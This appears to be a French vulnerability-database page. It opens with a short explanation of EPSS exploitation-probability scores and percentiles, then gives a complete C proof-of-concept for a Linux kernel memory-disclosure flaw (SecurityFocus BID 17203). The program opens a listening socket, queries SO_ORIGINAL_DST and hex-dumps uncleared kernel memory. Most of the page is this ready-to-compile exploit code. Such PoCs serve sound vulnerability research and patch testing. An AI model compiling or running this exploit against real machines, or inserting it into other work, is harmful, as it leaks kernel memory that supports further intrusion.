Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* source: https://www.securityfocus.com/bid/17203/info The Linux kernel is affected by local memory-disclosure vulnerabilities. These issues are due to the kernel's failure to properly clear previously used kernel memory before returning it to local users. These issues allow an attacker to read kernel memory and potentially gather information to use in further attacks. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> #include <linux/netfilter_ipv4.h> void dump(const unsigned char *p, unsigned l) { printf("data:"); while (l > 0) { printf(" %02x", *p); ++p; --l; } printf("\n"); } int main(int argc, char **argv) { int port; int ls, as, r, one; struct sockaddr_in sa; socklen_t sl; if (argc != 2 || (port = atoi(argv[1])) == 0) { fprintf(stderr, "usage: bug PORT\n"); return (1); } ls = socket(PF_INET, SOCK_STREAM, 0); if (ls == -1) { perror("ls = socket"); return (1); } one = 1; r = setsockopt(ls, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); if (r == -1) { perror("setsockopt(ls)"); return (1); } sa.sin_family = PF_INET; sa.sin_addr.s_addr = INADDR_ANY; sa.sin_port = htons(port); r = bind(ls, (struct sockaddr *) &sa, sizeof(sa)); if (r == -1) { perror("bind(ls)"); return (1); } r = listen(ls, 1); if (r == -1) { perror("listen(ls)"); return (1); } sl = sizeof(sa); as = accept(ls, (struct sockaddr *) &sa, &sl); if (as == -1) { perror("accept(ls)"); return (1); } dump((unsigned char *) &sa, sizeof(sa)); sl = sizeof(sa); r = getsockname(as, (struct sockaddr *) &sa, &sl); if (r == -1) { perror("getsockname(as)"); return (1); } dump((unsigned char *) &sa, sizeof(sa)); sl = sizeof(sa); r = getsockopt(as, SOL_IP, SO_ORIGINAL_DST, (struct sockaddr *) &sa, &sl); if (r == -1) { perror("getsockname(as)"); return (1); } dump((unsigned char *) &sa, sizeof(sa)); return (0); }